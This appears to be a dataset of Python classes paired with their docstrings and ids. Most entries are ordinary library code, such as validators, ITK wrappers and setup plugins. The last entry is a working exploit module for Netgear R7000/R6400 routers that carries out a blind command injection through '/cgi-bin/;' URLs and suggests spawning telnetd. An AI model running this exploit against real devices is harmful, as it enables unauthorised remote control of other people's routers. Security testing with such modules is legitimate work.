code
stringlengths 4
4.48k
| docstring
stringlengths 1
6.45k
| _id
stringlengths 24
24
|
|---|---|---|
class NullPresenter(Presenter): <NEW_LINE> <INDENT> _VALUE_CHANGED_SIGNAL = "null_signal" <NEW_LINE> _NULL_GUI_ELEMENT = type(b"NullGuiElement", (), {})() <NEW_LINE> def __init__(self, setting, element, *args, **kwargs): <NEW_LINE> <INDENT> self._value = None <NEW_LINE> self._sensitive = True <NEW_LINE> self._visible = True <NEW_LINE> super().__init__(setting, self._NULL_GUI_ELEMENT, *args, **kwargs) <NEW_LINE> <DEDENT> def get_sensitive(self): <NEW_LINE> <INDENT> return self._sensitive <NEW_LINE> <DEDENT> def set_sensitive(self, sensitive): <NEW_LINE> <INDENT> self._sensitive = sensitive <NEW_LINE> <DEDENT> def get_visible(self): <NEW_LINE> <INDENT> return self._visible <NEW_LINE> <DEDENT> def set_visible(self, visible): <NEW_LINE> <INDENT> self._visible = visible <NEW_LINE> <DEDENT> def update_setting_value(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def _get_value(self): <NEW_LINE> <INDENT> return self._value <NEW_LINE> <DEDENT> def _set_value(self, value): <NEW_LINE> <INDENT> self._value = value <NEW_LINE> <DEDENT> def _connect_value_changed_event(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def _disconnect_value_changed_event(self): <NEW_LINE> <INDENT> pass
|
This class acts as an empty `Presenter` object whose methods do nothing.
This class is attached to `Setting` objects with no `Presenter` object
specified upon its instantiation.
This class also records the GUI state. In case a proper `Presenter` instance
is assigned to the setting, the GUI state is copied over to the new instance.
|
6259902d50485f2cf55dbfab
|
class AnnotationIndexAPI(views.APIView): <NEW_LINE> <INDENT> pass
|
Placeholder view for use in `urlpatterns` so we can `reverse()` our API endpoint
|
6259902d0a366e3fb87dda18
|
class DmesgFinder(object): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.node = remote.tempesta <NEW_LINE> self.log = '' <NEW_LINE> self.get_log_cmd = ( 'dmesg | tac | grep -m 1 -B 10000 "Start Tempesta DB" | tac') <NEW_LINE> <DEDENT> def update(self): <NEW_LINE> <INDENT> self.log, _ = self.node.run_cmd(self.get_log_cmd) <NEW_LINE> <DEDENT> def show(self): <NEW_LINE> <INDENT> print(self.log) <NEW_LINE> <DEDENT> def warn_count(self, warn_str): <NEW_LINE> <INDENT> match = re.findall(warn_str, self.log) <NEW_LINE> return len(match)
|
dmesg helper class.
|
6259902d287bf620b6272c18
|
class PizzaList(APIView): <NEW_LINE> <INDENT> def get(self, request, format=None): <NEW_LINE> <INDENT> snippets = Pizza.objects.all() <NEW_LINE> serializer = PizzaSerializer(snippets, many=True) <NEW_LINE> return Response(serializer.data)
|
List all snippets, or create a new snippet.
|
6259902d5166f23b2e244408
|
class GB3sgRNA(GB3Part, GB3OmegaModule): <NEW_LINE> <INDENT> signature = ("GTTT", "CGCT")
|
A GoldenBraid 3.0 sgRNA coding sequence.
|
6259902d1d351010ab8f4b49
|
class IExposure(zope.interface.Interface): <NEW_LINE> <INDENT> title = zope.schema.TextLine( title=u'Title', required=False, ) <NEW_LINE> workspace = zope.schema.TextLine( title=u'Workspace', description=u'The model workspace this exposure encapsulates.', ) <NEW_LINE> commit_id = zope.schema.TextLine( title=u'Commit ID', description=u'The specific commit identifier of the model.', ) <NEW_LINE> curation = CurationDict( title=u'Curation', description=u'Curation of this model.', required=False, ) <NEW_LINE> docview_gensource = zope.schema.TextLine( title=u'Generated From', description=u'The source file which the documentation or data is ' 'generated from.', required=False, ) <NEW_LINE> docview_generator = zope.schema.TextLine( title=u'Generator Name', description=u'The name of the generator used to make this view.', required=False, )
|
Container for all exposure pages.
|
6259902dd99f1b3c44d066d4
|
class ResponseXY(ResponseThing): <NEW_LINE> <INDENT> XMLNAME = 'response_xy' <NEW_LINE> def GetBaseType(self, interaction): <NEW_LINE> <INDENT> if isinstance(interaction, qtiv2.interactions.SelectPointInteraction): <NEW_LINE> <INDENT> return qtiv2.variables.BaseType.point <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return ResponseThing.GetBaseType(self)
|
The <response_xy> element contains the instructions for the presentation
of questions whose response will be the 'x-y' co-ordinate of the selected
answer. The question can be rendered in a variety of ways depending on the
way in which the material is to be presented to the participant::
<!ELEMENT response_xy ((material | material_ref)? ,
(render_choice | render_hotspot | render_slider | render_fib | render_extension) ,
(material | material_ref)?)>
<!ATTLIST response_xy
rcardinality (Single | Multiple | Ordered ) 'Single'
rtiming (Yes | No ) 'No'
ident CDATA #REQUIRED >
|
6259902d50485f2cf55dbfae
|
class GpuRasterizationTestsStorySet(story_set_module.StorySet): <NEW_LINE> <INDENT> def __init__(self, expectations): <NEW_LINE> <INDENT> super(GpuRasterizationTestsStorySet, self).__init__() <NEW_LINE> self.AddStory(GpuRasterizationBlueBoxPage(self, expectations)) <NEW_LINE> self.AddStory(GpuRasterizationConcavePathsPage(self, expectations))
|
Basic test cases for GPU rasterization.
|
6259902dd10714528d69eea6
|
class XDecimal(XBuiltin): <NEW_LINE> <INDENT> if sys.version_info < (2, 7): <NEW_LINE> <INDENT> _decimal_canonical = staticmethod(lambda decimal: decimal) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> _decimal_canonical = decimal.Decimal.canonical <NEW_LINE> <DEDENT> @staticmethod <NEW_LINE> def _decimal_to_xsd_format(value): <NEW_LINE> <INDENT> value = XDecimal._decimal_canonical(value) <NEW_LINE> negative, digits, exponent = value.as_tuple() <NEW_LINE> assert digits <NEW_LINE> assert digits[0] != 0 or len(digits) == 1 <NEW_LINE> result = [] <NEW_LINE> if negative: <NEW_LINE> <INDENT> result.append("-") <NEW_LINE> <DEDENT> if exponent >= 0: <NEW_LINE> <INDENT> result.extend(str(x) for x in digits) <NEW_LINE> result.extend("0" * exponent) <NEW_LINE> return "".join(result) <NEW_LINE> <DEDENT> digit_count = len(digits) <NEW_LINE> point_offset = digit_count + exponent <NEW_LINE> fractional_digit_count = min(digit_count, -exponent) <NEW_LINE> while fractional_digit_count and digits[digit_count - 1] == 0: <NEW_LINE> <INDENT> digit_count -= 1 <NEW_LINE> fractional_digit_count -= 1 <NEW_LINE> <DEDENT> if point_offset <= 0: <NEW_LINE> <INDENT> result.append("0") <NEW_LINE> if digit_count > 0: <NEW_LINE> <INDENT> result.append(".") <NEW_LINE> result.append("0" * -point_offset) <NEW_LINE> result.extend(str(x) for x in digits[:digit_count]) <NEW_LINE> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> result.extend(str(x) for x in digits[:point_offset]) <NEW_LINE> if point_offset < digit_count: <NEW_LINE> <INDENT> result.append(".") <NEW_LINE> result.extend(str(x) for x in digits[point_offset:digit_count]) <NEW_LINE> <DEDENT> <DEDENT> return "".join(result) <NEW_LINE> <DEDENT> @classmethod <NEW_LINE> def translate(cls, value, topython=True): <NEW_LINE> <INDENT> if topython: <NEW_LINE> <INDENT> if isinstance(value, basestring) and value: <NEW_LINE> <INDENT> return decimal.Decimal(value) <NEW_LINE> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> if isinstance(value, decimal.Decimal): <NEW_LINE> <INDENT> return cls._decimal_to_xsd_format(value) <NEW_LINE> <DEDENT> return value
|
Represents an XSD <xsd:decimal/> built-in type.
Excerpt from the XSD datatype specification
(http://www.w3.org/TR/2004/REC-xmlschema-2-20041028):
> 3.2.3 decimal
>
> [Definition:] decimal represents a subset of the real numbers, which can
> be represented by decimal numerals. The ·value space· of decimal is the
> set of numbers that can be obtained by multiplying an integer by a
> non-positive power of ten, i.e., expressible as i × 10^-n where i and n
> are integers and n >= 0. Precision is not reflected in this value space;
> the number 2.0 is not distinct from the number 2.00. The ·order-relation·
> on decimal is the order relation on real numbers, restricted to this
> subset.
>
> 3.2.3.1 Lexical representation
>
> decimal has a lexical representation consisting of a finite-length
> sequence of decimal digits (#x30-#x39) separated by a period as a decimal
> indicator. An optional leading sign is allowed. If the sign is omitted,
> "+" is assumed. Leading and trailing zeroes are optional. If the
> fractional part is zero, the period and following zero(es) can be
> omitted. For example: -1.23, 12678967.543233, +100000.00, 210.
|
6259902da4f1c619b294f629
|
class EvolvedANN(ANN): <NEW_LINE> <INDENT> name = "Evolved ANN" <NEW_LINE> def __init__(self) -> None: <NEW_LINE> <INDENT> num_features, num_hidden, weights = nn_weights["Evolved ANN"] <NEW_LINE> super().__init__( num_features=num_features, num_hidden=num_hidden, weights=weights )
|
A strategy based on a pre-trained neural network with 17 features and a
hidden layer of size 10.
Trained using the `axelrod_dojo` version: 0.0.8
Training data is archived at doi.org/10.5281/zenodo.1306926
Names:
- Evolved ANN: Original name by Martin Jones.
|
6259902dc432627299fa4028
|
class TestWithChrom(unittest.TestCase): <NEW_LINE> <INDENT> def runTest(self): <NEW_LINE> <INDENT> in_path = samples['small_features'][1]['sql'] <NEW_LINE> with track.load(in_path) as t: <NEW_LINE> <INDENT> data = t.read() <NEW_LINE> got = list(data) <NEW_LINE> <DEDENT> expected = [('chrI', 0, 10, u'Validation feature 1', 10.0), ('chrI', 2, 8, u'Validation feature 2', 0.0), ('chrI', 20, 30, u'Validation feature 3', 10.0), ('chrI', 25, 30, u'Validation feature 4', 0.0), ('chrI', 40, 45, u'Validation feature 5', 0.0), ('chrI', 40, 50, u'Validation feature 6', 10.0), ('chrI', 60, 70, u'Validation feature 7', 10.0), ('chrI', 70, 80, u'Validation feature 8', 10.0), ('chrI', 90, 100, u'Validation feature 9', 10.0), ('chrI', 90, 110, u'Validation feature 10', 10.0), ('chrI', 120, 130, u'Validation feature 11', 10.0), ('chrI', 125, 135, u'Validation feature 12', 5.0)] <NEW_LINE> self.assertEqual(got, expected)
|
Read all features from a track
|
6259902d1f5feb6acb163c24
|
class MapTile: <NEW_LINE> <INDENT> def __init__(self, x, y): <NEW_LINE> <INDENT> self.x = x <NEW_LINE> self.y = y <NEW_LINE> <DEDENT> def intro_text(self): <NEW_LINE> <INDENT> raise NotImplementedError() <NEW_LINE> <DEDENT> def modify_player(self, player): <NEW_LINE> <INDENT> raise NotImplementedError() <NEW_LINE> <DEDENT> def adjacent_moves(self): <NEW_LINE> <INDENT> moves = [] <NEW_LINE> if world.tile_exists(self.x + 1, self.y): <NEW_LINE> <INDENT> moves.append(actions.MoveEast()) <NEW_LINE> <DEDENT> if world.tile_exists(self.x - 1, self.y): <NEW_LINE> <INDENT> moves.append(actions.MoveWest()) <NEW_LINE> <DEDENT> if world.tile_exists(self.x, self.y + 1): <NEW_LINE> <INDENT> moves.append(actions.MoveSouth()) <NEW_LINE> <DEDENT> if world.tile_exists(self.x, self.y - 1): <NEW_LINE> <INDENT> moves.append(actions.MoveNorth()) <NEW_LINE> <DEDENT> return moves <NEW_LINE> <DEDENT> def available_actions(self): <NEW_LINE> <INDENT> moves = self.adjacent_moves() <NEW_LINE> moves.append(actions.ViewInventory()) <NEW_LINE> return moves
|
An abstract base class for Tiles.
|
6259902d9b70327d1c57fdb7
|
class PageTypeNotMounted(NoReverseMatch): <NEW_LINE> <INDENT> pass
|
Raised when the :func:`app_reverse` function can't find the required plugin
in the page tree.
|
6259902d5e10d32532ce411d
|
class BooreAtkinson2011(BooreAtkinson2008): <NEW_LINE> <INDENT> kind = '2011'
|
Implements GMPE based on the corrections proposed by Gail M. Atkinson
and D. Boore in 2011 and published as "Modifications to Existing
Ground-Motion Prediction Equations in Light of New Data " (2011,
Bulletin of the Seismological Society of America, Volume 101, No. 3,
pages 1121-1135).
|
6259902d8c3a8732951f758c
|
class GxFilterGeoDataServers(CoClass): <NEW_LINE> <INDENT> _reg_clsid_ = GUID('{1208F728-F2D1-4AF1-97C7-6E8FCEC94DD1}') <NEW_LINE> _idlflags_ = [] <NEW_LINE> _typelib_path_ = typelib_path <NEW_LINE> _reg_typelib_ = ('{ADC7DE29-DC0B-448E-BBF6-27E4E34CF2EC}', 10, 2)
|
A filter for displaying/choosing geodataserver objects.
|
6259902d711fe17d825e14b4
|
class StateMachine(object): <NEW_LINE> <INDENT> status_attr = "status" <NEW_LINE> userid_attr = "user_id" <NEW_LINE> def __init__(self, default_state='draft', transition_dict=None): <NEW_LINE> <INDENT> self.default_state = default_state <NEW_LINE> self.transitions = dict() <NEW_LINE> if transition_dict: <NEW_LINE> <INDENT> self.load_transitions_from_dict(transition_dict) <NEW_LINE> <DEDENT> <DEDENT> def load_transitions_from_dict(self, transition_dict): <NEW_LINE> <INDENT> for state, new_states in transition_dict.items(): <NEW_LINE> <INDENT> for new_state in new_states: <NEW_LINE> <INDENT> if not hasattr(new_state, '__iter__'): <NEW_LINE> <INDENT> new_state = [new_state] <NEW_LINE> <DEDENT> self.add_transition(state, *new_state) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def add_transition(self, state, next_, perm=None, callback=None, cae=True): <NEW_LINE> <INDENT> state_obj = State( next_, perm, callback, cae, self.status_attr, self.userid_attr, ) <NEW_LINE> self.transitions.setdefault(state, []).append(state_obj) <NEW_LINE> <DEDENT> def process(self, model, request, user_id, new_state, **kw): <NEW_LINE> <INDENT> state = getattr(model, self.status_attr) <NEW_LINE> state_obj = self.get_transition(state, new_state) <NEW_LINE> if state_obj is None: <NEW_LINE> <INDENT> raise Forbidden( u"No state object could be retrieved for %s" % new_state ) <NEW_LINE> <DEDENT> elif not state_obj.allowed(model, request): <NEW_LINE> <INDENT> raise Forbidden( u"Current user is not allowed to set the %s state" % new_state ) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return state_obj.process(model, user_id=user_id, **kw) <NEW_LINE> <DEDENT> <DEDENT> def get_transition(self, state, new_state): <NEW_LINE> <INDENT> available_states = self.transitions.get(state, []) <NEW_LINE> for state_obj in available_states: <NEW_LINE> <INDENT> if state_obj.name == new_state: <NEW_LINE> <INDENT> return state_obj <NEW_LINE> <DEDENT> <DEDENT> return None <NEW_LINE> <DEDENT> def get_next_status(self, state): <NEW_LINE> <INDENT> return [st_obj.name for st_obj in self.transitions.get(state, [])] <NEW_LINE> <DEDENT> def get_next_states(self, state=None): <NEW_LINE> <INDENT> if state is None: <NEW_LINE> <INDENT> return self.transitions.get(self.default_state, []) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return self.transitions.get(state, [])
|
a state machine storing the transitions as:
(state, new_state) : (permission, callback)
|
6259902d287bf620b6272c1b
|
class StepWithDetails(Step): <NEW_LINE> <INDENT> NAME = "StepWithDetails" <NEW_LINE> def _run(self, on_update=None): <NEW_LINE> <INDENT> for i, _ in enumerate(self.step_args): <NEW_LINE> <INDENT> self.update_details({"index": i, "value": "done"}) <NEW_LINE> <DEDENT> <DEDENT> def _init_details(self): <NEW_LINE> <INDENT> self._details["items"] = [] <NEW_LINE> for _ in self.step_args: <NEW_LINE> <INDENT> self._details["items"].append("ready") <NEW_LINE> <DEDENT> <DEDENT> def _update_details(self, details): <NEW_LINE> <INDENT> self._details["items"][details["index"]] = details["value"]
|
Test step generating some details.
|
6259902d23e79379d538d53e
|
class Result: <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.min_cost = float('inf')
|
必须需要这个class,否则 object这个参数无法进行修改
因为如果不return,就不能pass through functions
|
6259902d1d351010ab8f4b4c
|
@implementer(IRoot) <NEW_LINE> class Root(Resource): <NEW_LINE> <INDENT> __acl__ = [ (Allow, Authenticated, 'authenticated'), (Allow, "superuser:superuser", 'shell'), ] <NEW_LINE> def __init__(self, request): <NEW_LINE> <INDENT> self.request = request <NEW_LINE> self.__name__ = "" <NEW_LINE> <DEDENT> @classmethod <NEW_LINE> def root_factory(cls, request): <NEW_LINE> <INDENT> return cls(request) <NEW_LINE> <DEDENT> def get_title(self): <NEW_LINE> <INDENT> return "Home"
|
Pyramid routing root with default permission set up.
These permission mappings are used unless you supply your own traversing context. For the sake of simplicity, we only declare one permission named ``authenticated`` which is given to all authenticated users.
Permissions are as:
* authenticated: Pseudopermission given to all authenticated users
* superuser: equal to have SSH access to the website - can execute arbitrary Python code
For more information see :ref:`permissions`.
|
6259902dd164cc6175821fa7
|
class itkInPlaceImageFilterIF3ICVF33(itkImageToImageFilterBPython.itkImageToImageFilterIF3ICVF33): <NEW_LINE> <INDENT> thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') <NEW_LINE> def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") <NEW_LINE> __repr__ = _swig_repr <NEW_LINE> InputImageDimension = _itkInPlaceImageFilterBPython.itkInPlaceImageFilterIF3ICVF33_InputImageDimension <NEW_LINE> OutputImageDimension = _itkInPlaceImageFilterBPython.itkInPlaceImageFilterIF3ICVF33_OutputImageDimension <NEW_LINE> def SetInPlace(self, *args): <NEW_LINE> <INDENT> return _itkInPlaceImageFilterBPython.itkInPlaceImageFilterIF3ICVF33_SetInPlace(self, *args) <NEW_LINE> <DEDENT> def GetInPlace(self): <NEW_LINE> <INDENT> return _itkInPlaceImageFilterBPython.itkInPlaceImageFilterIF3ICVF33_GetInPlace(self) <NEW_LINE> <DEDENT> def InPlaceOn(self): <NEW_LINE> <INDENT> return _itkInPlaceImageFilterBPython.itkInPlaceImageFilterIF3ICVF33_InPlaceOn(self) <NEW_LINE> <DEDENT> def InPlaceOff(self): <NEW_LINE> <INDENT> return _itkInPlaceImageFilterBPython.itkInPlaceImageFilterIF3ICVF33_InPlaceOff(self) <NEW_LINE> <DEDENT> def CanRunInPlace(self): <NEW_LINE> <INDENT> return _itkInPlaceImageFilterBPython.itkInPlaceImageFilterIF3ICVF33_CanRunInPlace(self) <NEW_LINE> <DEDENT> __swig_destroy__ = _itkInPlaceImageFilterBPython.delete_itkInPlaceImageFilterIF3ICVF33 <NEW_LINE> def cast(*args): <NEW_LINE> <INDENT> return _itkInPlaceImageFilterBPython.itkInPlaceImageFilterIF3ICVF33_cast(*args) <NEW_LINE> <DEDENT> cast = staticmethod(cast) <NEW_LINE> def GetPointer(self): <NEW_LINE> <INDENT> return _itkInPlaceImageFilterBPython.itkInPlaceImageFilterIF3ICVF33_GetPointer(self) <NEW_LINE> <DEDENT> def New(*args, **kargs): <NEW_LINE> <INDENT> obj = itkInPlaceImageFilterIF3ICVF33.__New_orig__() <NEW_LINE> import itkTemplate <NEW_LINE> itkTemplate.New(obj, *args, **kargs) <NEW_LINE> return obj <NEW_LINE> <DEDENT> New = staticmethod(New)
|
Proxy of C++ itkInPlaceImageFilterIF3ICVF33 class
|
6259902d96565a6dacd2d7a9
|
class IS_TIME(Validator): <NEW_LINE> <INDENT> def __init__(self, error_message='Enter time as hh:mm:ss (seconds, am, pm optional)'): <NEW_LINE> <INDENT> self.error_message = error_message <NEW_LINE> <DEDENT> def __call__(self, value): <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> ivalue = value <NEW_LINE> value = regex_time.match(value.lower()) <NEW_LINE> (h, m, s) = (int(value.group('h')), 0, 0) <NEW_LINE> if not value.group('m') is None: <NEW_LINE> <INDENT> m = int(value.group('m')) <NEW_LINE> <DEDENT> if not value.group('s') is None: <NEW_LINE> <INDENT> s = int(value.group('s')) <NEW_LINE> <DEDENT> if value.group('d') == 'pm' and 0 < h < 12: <NEW_LINE> <INDENT> h += 12 <NEW_LINE> <DEDENT> if value.group('d') == 'am' and h == 12: <NEW_LINE> <INDENT> h = 0 <NEW_LINE> <DEDENT> if not (h in range(24) and m in range(60) and s in range(60)): <NEW_LINE> <INDENT> raise ValueError('Hours or minutes or seconds are outside of allowed range') <NEW_LINE> <DEDENT> value = datetime.time(h, m, s) <NEW_LINE> return (value, None) <NEW_LINE> <DEDENT> except AttributeError: <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> except ValueError: <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> return (ivalue, self.translator(self.error_message))
|
Example:
Use as::
INPUT(_type='text', _name='name', requires=IS_TIME())
understands the following formats
hh:mm:ss [am/pm]
hh:mm [am/pm]
hh [am/pm]
[am/pm] is optional, ':' can be replaced by any other non-space non-digit::
>>> IS_TIME()('21:30')
(datetime.time(21, 30), None)
>>> IS_TIME()('21-30')
(datetime.time(21, 30), None)
>>> IS_TIME()('21.30')
(datetime.time(21, 30), None)
>>> IS_TIME()('21:30:59')
(datetime.time(21, 30, 59), None)
>>> IS_TIME()('5:30')
(datetime.time(5, 30), None)
>>> IS_TIME()('5:30 am')
(datetime.time(5, 30), None)
>>> IS_TIME()('5:30 pm')
(datetime.time(17, 30), None)
>>> IS_TIME()('5:30 whatever')
('5:30 whatever', 'enter time as hh:mm:ss (seconds, am, pm optional)')
>>> IS_TIME()('5:30 20')
('5:30 20', 'enter time as hh:mm:ss (seconds, am, pm optional)')
>>> IS_TIME()('24:30')
('24:30', 'enter time as hh:mm:ss (seconds, am, pm optional)')
>>> IS_TIME()('21:60')
('21:60', 'enter time as hh:mm:ss (seconds, am, pm optional)')
>>> IS_TIME()('21:30::')
('21:30::', 'enter time as hh:mm:ss (seconds, am, pm optional)')
>>> IS_TIME()('')
('', 'enter time as hh:mm:ss (seconds, am, pm optional)')ù
|
6259902db57a9660fecd2ab8
|
class ExerciseLogForm(forms.Form): <NEW_LINE> <INDENT> exercise_id = forms.CharField(max_length=100) <NEW_LINE> streak_progress = forms.IntegerField() <NEW_LINE> points = forms.IntegerField() <NEW_LINE> correct = forms.BooleanField(required=False) <NEW_LINE> def clean_exercise_id(self): <NEW_LINE> <INDENT> if not self.cleaned_data.get("exercise_id", "") in get_node_cache('Exercise'): <NEW_LINE> <INDENT> raise forms.ValidationError(_("Exercise ID not recognized"))
|
Form that represents the schema for data API requests
|
6259902d8a349b6b43687271
|
class Encoder(nn.Module): <NEW_LINE> <INDENT> def __init__(self, in_features): <NEW_LINE> <INDENT> super(Encoder, self).__init__() <NEW_LINE> self.prenet = Prenet(in_features, out_features=[256, 128]) <NEW_LINE> self.cbhg = EncoderCBHG() <NEW_LINE> <DEDENT> def forward(self, inputs): <NEW_LINE> <INDENT> outputs = self.prenet(inputs) <NEW_LINE> outputs = self.cbhg(outputs.transpose(1, 2)) <NEW_LINE> return outputs
|
Encapsulate Prenet and CBHG modules for encoder
|
6259902d56b00c62f0fb38f7
|
class count_progress_risk(stats.count_progress): <NEW_LINE> <INDENT> def get_task_data(self, job_id, units, *_args): <NEW_LINE> <INDENT> num_items = get_num_items(units) <NEW_LINE> return job_id, num_items
|
Extend :class:`openquake.engine.utils.stats.count_progress` to work with
celery task where the number of items (i.e. assets) are embedded in
calculation units.
|
6259902d0a366e3fb87dda1e
|
class ImageRegionCreateEntry(Model): <NEW_LINE> <INDENT> _validation = { 'image_id': {'required': True}, 'tag_id': {'required': True}, 'left': {'required': True}, 'top': {'required': True}, 'width': {'required': True}, 'height': {'required': True}, } <NEW_LINE> _attribute_map = { 'image_id': {'key': 'imageId', 'type': 'str'}, 'tag_id': {'key': 'tagId', 'type': 'str'}, 'left': {'key': 'left', 'type': 'float'}, 'top': {'key': 'top', 'type': 'float'}, 'width': {'key': 'width', 'type': 'float'}, 'height': {'key': 'height', 'type': 'float'}, } <NEW_LINE> def __init__(self, **kwargs): <NEW_LINE> <INDENT> super(ImageRegionCreateEntry, self).__init__(**kwargs) <NEW_LINE> self.image_id = kwargs.get('image_id', None) <NEW_LINE> self.tag_id = kwargs.get('tag_id', None) <NEW_LINE> self.left = kwargs.get('left', None) <NEW_LINE> self.top = kwargs.get('top', None) <NEW_LINE> self.width = kwargs.get('width', None) <NEW_LINE> self.height = kwargs.get('height', None)
|
Entry associating a region to an image.
All required parameters must be populated in order to send to Azure.
:param image_id: Required. Id of the image.
:type image_id: str
:param tag_id: Required. Id of the tag associated with this region.
:type tag_id: str
:param left: Required. Coordinate of the left boundary.
:type left: float
:param top: Required. Coordinate of the top boundary.
:type top: float
:param width: Required. Width.
:type width: float
:param height: Required. Height.
:type height: float
|
6259902dc432627299fa402c
|
@util.export <NEW_LINE> class Plugin(plugin.PluginBase): <NEW_LINE> <INDENT> def __init__(self, context): <NEW_LINE> <INDENT> super(Plugin, self).__init__(context=context) <NEW_LINE> <DEDENT> @plugin.event( stage=plugin.Stages.STAGE_INIT, ) <NEW_LINE> def _init(self): <NEW_LINE> <INDENT> self.environment.setdefault( oenginecons.RemoveEnv.REMOVE_ENGINE, None ) <NEW_LINE> <DEDENT> @plugin.event( stage=plugin.Stages.STAGE_CUSTOMIZATION, after=( osetupcons.Stages.REMOVE_CUSTOMIZATION_COMMON, ), condition=lambda self: not self.environment[ osetupcons.RemoveEnv.REMOVE_ALL ], ) <NEW_LINE> def _customization(self): <NEW_LINE> <INDENT> if ( self.environment[ oenginecons.RemoveEnv.REMOVE_ENGINE ] is None and self.environment[ oenginecons.CoreEnv.ENABLE ] ): <NEW_LINE> <INDENT> self.environment[ oenginecons.RemoveEnv.REMOVE_ENGINE ] = dialog.queryBoolean( dialog=self.dialog, name='OVESETUP_REMOVE_ENGINE', note=_( 'Do you want to remove the engine? ' '(@VALUES@) [@DEFAULT@]: ' ), prompt=True, true=_('Yes'), false=_('No'), default=False, ) <NEW_LINE> if self.environment[oenginecons.RemoveEnv.REMOVE_ENGINE]: <NEW_LINE> <INDENT> self.environment[osetupcons.RemoveEnv.REMOVE_OPTIONS].append( oenginecons.Const.ENGINE_PACKAGE_NAME ) <NEW_LINE> self.environment[ osetupcons.RemoveEnv.REMOVE_SPEC_OPTION_GROUP_LIST ].extend( [ 'ca_pki', 'ca_pki', 'ca_config', 'ssl', 'versionlock', ] ) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> @plugin.event( stage=plugin.Stages.STAGE_CLOSEUP, before=( osetupcons.Stages.DIALOG_TITLES_E_SUMMARY, ), after=( osetupcons.Stages.DIALOG_TITLES_S_SUMMARY, ), condition=lambda self: ( self.environment[ osetupcons.RemoveEnv.REMOVE_ALL ] or self.environment[ oenginecons.RemoveEnv.REMOVE_ENGINE ] ), ) <NEW_LINE> def _closeup(self): <NEW_LINE> <INDENT> self.dialog.note( text=_( '{description} has been removed' ).format( description=oenginecons.Const.ENGINE_PACKAGE_NAME, ), ) <NEW_LINE> self.environment[ oenginecons.CoreEnv.ENABLE ] = False
|
Engine-remove plugin.
|
6259902d8e05c05ec3f6f677
|
class Reservoir(): <NEW_LINE> <INDENT> def __init__(self,resID,num,catchID,subID,subNm,damObj): <NEW_LINE> <INDENT> self.id=resID <NEW_LINE> self.num=num <NEW_LINE> self.catchID=catchID <NEW_LINE> self.subID=subID <NEW_LINE> self.subNm=subNm <NEW_LINE> self.floodZoneRast=None <NEW_LINE> self.floodZoneVect=None <NEW_LINE> self.volume=None <NEW_LINE> self.surfArea=None <NEW_LINE> self.surfVolRatio=None <NEW_LINE> self.damObj=None
|
Class definition for a reservoir object
|
6259902d5e10d32532ce411f
|
class Exploit(exploits.Exploit): <NEW_LINE> <INDENT> __info__ = { 'name': 'Netgear R7000 & R6400 RCE', 'description': 'Module exploits remote command execution in Netgear R7000 and R6400 devices. If the target is ' 'vulnerable, command loop is invoked that allows executing commands on operating system level.', 'authors': [ 'Chad Dougherty', 'Marcin Bury <marcin.bury[at]reverse-shell.com>', ], 'references': [ 'http://www.sj-vs.net/a-temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/', 'https://www.exploit-db.com/exploits/40889/', 'http://www.kb.cert.org/vuls/id/582384', ], 'devices': [ 'R6400 (AC1750)', 'R7000 Nighthawk (AC1900, AC2300)', 'R7500 Nighthawk X4 (AC2350)', 'R7800 Nighthawk X4S(AC2600)', 'R8000 Nighthawk (AC3200)', 'R8500 Nighthawk X8 (AC5300)', 'R9000 Nighthawk X10 (AD7200)', ] } <NEW_LINE> target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) <NEW_LINE> port = exploits.Option(80, 'Target Port') <NEW_LINE> def run(self): <NEW_LINE> <INDENT> if self.check(): <NEW_LINE> <INDENT> print_success("Target is probably vulnerable") <NEW_LINE> print_status("Invoking command loop...") <NEW_LINE> print_status("It is blind command injection. Try to start telnet with telnet telnetd -p '4445'") <NEW_LINE> shell(self, architecture="arm") <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> print_error("Target is not vulnerable") <NEW_LINE> <DEDENT> <DEDENT> def execute(self, cmd): <NEW_LINE> <INDENT> cmd = cmd.replace(" ", "$IFS") <NEW_LINE> url = "{}:{}/cgi-bin/;{}".format(self.target, self.port, cmd) <NEW_LINE> http_request(method="GET", url=url) <NEW_LINE> return "" <NEW_LINE> <DEDENT> @mute <NEW_LINE> def check(self): <NEW_LINE> <INDENT> url = "{}:{}/".format(self.target, self.port) <NEW_LINE> response = http_request(method="HEAD", url=url) <NEW_LINE> if response is None: <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> if "WWW-Authenticate" in response.headers.keys(): <NEW_LINE> <INDENT> if any(map(lambda x: x in response.headers['WWW-Authenticate'], ["NETGEAR R7000", "NETGEAR R6400"])): <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> <DEDENT> return False
|
Exploit implementation for Netgear R7000 and R6400 Remote Code Execution vulnerability.
If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.
|
6259902d711fe17d825e14b6
|
